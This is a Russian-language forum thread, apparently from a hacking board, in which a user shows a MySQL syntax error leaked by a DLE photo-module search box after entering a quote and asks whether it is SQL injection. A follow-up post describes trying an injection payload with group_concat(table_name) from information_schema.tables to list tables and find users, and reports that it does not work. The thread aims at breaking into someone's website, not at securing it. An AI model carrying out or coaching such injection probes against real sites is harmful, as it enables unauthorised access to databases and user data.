Подскажите плиз, если в строке поиска ввести кавычку и выводится такое:
SQl highlight
Код:
MySQL Error
!
------------------------
The Error returned was:
You have an error
in
your
SQL
syntax;
check
the manual that corresponds
to
your
MySQL server version
for
the
right
syntax
to
use near
'%'
or
dle_photo_post.name
like
'%'
%
' or dle_photo_post.des like '
%
'%'
or
dle_p
' at line 2
Error Number:
1064
source:
Код:
____
____
____
____
____
____
____
____
____
____
____
____
____
____
____
____
____
____
____
SELECT dle
_photo_
post.
* FROM dle_photo_post LEFT JOIN dle_photo_alboms
ON dle_photo_post.albom = dle_photo_alboms.id WHERE (
dle_photo_post.id like '%'%' or dle_photo_post.name like '%'%' or
dle_photo_post.des like '%'%' or dle_photo_post.date like '%'%' or
dle_photo_post.comms like '%'%' or dle_photo_post.author like '%'%' or
dle_photo_post.albom like '%'%' or dle_photo_post.file like '%'%' or
dle_photo_post.look like '%'%' or dle_photo_post.tegs like '%'%' or
dle_photo_post.rating like '%'%' ) and (dle_photo_post.show = 0 or
dle_photo_post.show < 1339927454) and (dle_photo_post.hide = 0 and
dle_photo_post.moder = 0)ORDER BY dle_photo_post.date DESC
______________________________________________________________________________
Это sql inj? Вроде как фильтрация отсутствует...
Движок DLE < 9.
hugolom, то есть мне действовать по той же схеме toXa? Все точно также, просто вводить в поиск, а не в адресную строку? Пытаюсь вбить команды, он просто пишет "нет результатов", не выводя вообще никакой ошибки. Это получается в слепую подбирать? Или там ошибка фильтрации может только на кавычку идти, а на плюс и прочее работает(фильтрация работает в смысле на +).
при вводе group_concat(table_name),3,4,5,6,7+from+informatio n_schema.tables+limit+ **,*--
таже фигня, даже порой и хуже, так как не отображает не users и вообще ничего нет